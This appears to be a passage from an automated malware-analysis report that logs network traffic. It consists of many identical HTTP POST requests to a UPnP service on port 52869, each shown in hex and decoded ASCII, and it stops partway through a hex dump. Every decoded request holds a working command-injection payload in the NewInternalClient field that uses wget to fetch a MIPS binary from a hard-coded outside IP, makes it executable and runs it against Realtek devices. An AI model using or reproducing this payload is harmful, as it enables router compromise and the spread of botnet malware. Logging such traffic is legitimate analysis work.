                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:59.130862951 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:06.810543060 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:21.914110899 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:52.889349937 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      31192.168.2.156002645.122.134.14352869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:52.718096018 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:54.266946077 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:56.122878075 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 